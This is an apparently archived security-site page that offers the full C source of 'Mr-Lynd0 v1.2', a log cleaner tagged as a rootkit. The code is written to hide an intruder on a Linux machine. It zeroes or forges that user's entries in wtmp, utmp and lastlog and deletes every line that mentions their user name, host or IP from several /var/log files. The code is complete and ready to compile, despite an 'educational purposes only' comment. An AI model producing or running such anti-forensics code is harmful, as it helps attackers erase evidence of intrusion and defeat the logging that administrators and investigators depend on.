what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Mr-Lynd0v1.2.c

Mr-Lynd0v1.2.c
Posted Mar 7, 2003
Authored by click

Mr-Lynd0 is a log cleaner and an instrument to hide user or to change user and host. cleans ip user and host in log files /var/log/ and hides yourself in a linux box editing wtmp and utmp. Version 1.2 released with bugfixes.

tags | tool, rootkit
systems | linux, unix
SHA-256 | e21cfc158bbcfbd10d0c81401e527a555d73d32e71dd8746414c960227f7d356

Mr-Lynd0v1.2.c

Change Mirror Download
/* Mr-Lynd0 is a log clener and an instrument to hide user or to change user and host.
* cleans ip user and host in log files /var/log/
* hides yourself in a linux box editing wtmp and utmp
* changes user host in wtmp utmp
*
* written by click <clikkone@box.it>
*
* This program is for educational purposes only!!
*/

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>

#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"
#define MESSAGES "/var/log/messages"
#define SECURE "/var/log/secure"
#define MAILLOG "/var/log/maillog"
#define XFERLOG "/var/log/xferlog"
#define PROFTPD "/var/log/proftpd.log"
#define MAXBUFF 8*1024

int f;
void clear_log(char *user,char *host,char *ip_host);
void modify_wtmp2(char *who);
void modify_utmp2(char *who);
void modify_utmp(char *who,char *fakew,char *fake);
void modify_wtmp(char *who,char *fakew,char *fake);
void modify_lastlog(char *who);
void write_log(void);

main(int argc,char *argv[])

{

printf("\n");
if (argc==4)
{
modify_lastlog(argv[1]);
modify_wtmp2(argv[1]);
modify_utmp2(argv[1]);
clear_log(argv[1],argv[2],argv[3]);
write_log();
printf("\ndone Mr-Lynd0!\npowered by click \n\n");
exit();
}
else{
if (argc==6) {
modify_lastlog(argv[1]);
modify_wtmp(argv[1],argv[2],argv[3]);
modify_utmp(argv[1],argv[2],argv[3]);
clear_log(argv[1],argv[4],argv[5]);
write_log();
printf("\ndone Mr-Lindo!\npowered by click \n\n");
exit();
} else
if (argc!=2 || argc!=4)
{

fprintf (stderr,"\tif you want to hide yourself and clean log files:\n\n");
fprintf(stderr,"\tusage %s <user> <host> <real_ip>\n",argv[0]);
fprintf(stderr,"\t if you want to change ip host user and clean logs:\n\n");
fprintf(stderr,"\tusage %s <user> <fake_user> <fake_host> <host> <real_ip>\n",argv[0]);
}
}
}

void clear_log(char *user,char *host,char *ip_host)

{
int i;
char buffer[MAXBUFF];

FILE *log;
FILE *flog;
char *logs[] = {MESSAGES, SECURE, XFERLOG, MAILLOG, PROFTPD};
char *flogs[] = {"messages.hm", "secure.hm", "xferlog.hm", "maillog.hm", "proftpd.log.hm"};

for (i=0;i<5;i++)
{
log = fopen (logs[i], "r") ;
if (log == 0)
{
fprintf(stderr, " - I can't find %s\tFAILED.\n", logs[i]);
continue;
}
flog = fopen (flogs[i], "w");
if (flog == 0)
{
fprintf(stderr, " - I can't find var\tFAILED.\n");
continue;
}
else
{
printf ("Working on %s\t",logs[i]);
while (fgets(buffer, MAXBUFF,log) != NULL){
if ((!strstr(buffer,user)) && (!strstr(buffer,host)) && (!strstr(buffer,ip_host)))
{
fputs(buffer,flog);
}
}
}
fclose (log);
fclose (flog);
printf ("\tDONE.\n");
}




}



void modify_wtmp2(char *who)
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
printf ("wtmp\t\t\t\t\tDONE.\n");
}
void modify_utmp2(char *who)
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
printf ("utmp\t\t\t\t\tDONE.\n");
}


void modify_utmp(char *who,char *fakew,char *fake)
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
memcpy(utmp_ent.ut_name,fakew,sizeof(utmp_ent.ut_name));



lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
printf ("utmp\t\t\t\t\tDONE.\n");
}

void modify_wtmp(char *who,char *fakew,char *fake)
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
memcpy(utmp_ent.ut_name,fakew,sizeof(utmp_ent.ut_name));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
printf ("wtmp\t\t\t\t\tDONE.\n");
}

void modify_lastlog(char *who)
{
struct passwd *pass;
struct lastlog newll;

if ((pass=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pass->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

void write_log(void)
{
FILE *log;
FILE *flog;
int i;
char buffer[MAXBUFF];
char *logs[] = {MESSAGES, SECURE, XFERLOG, MAILLOG, PROFTPD};
char *flogs[] = {"messages.hm", "secure.hm", "xferlog.hm", "maillog.hm", "proftpd.log.hm"};

for (i=0;i<5;i++)
{
flog = fopen (flogs[i], "r");
log = fopen (logs[i], "w+");
if(log == NULL || flog == NULL)
{
fprintf(stderr, " -I can't find %s\t\tFAILED. \n", logs[i]);
remove(logs[i]);
}
else
{
printf ("Writing %s\t\tDONE.\n", logs[i]);
while (fgets(buffer,MAXBUFF,flog) != NULL)
{
fputs(buffer,log);
}
remove(flogs[i]);
}
}
fclose (flog);
fclose(log);
}

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close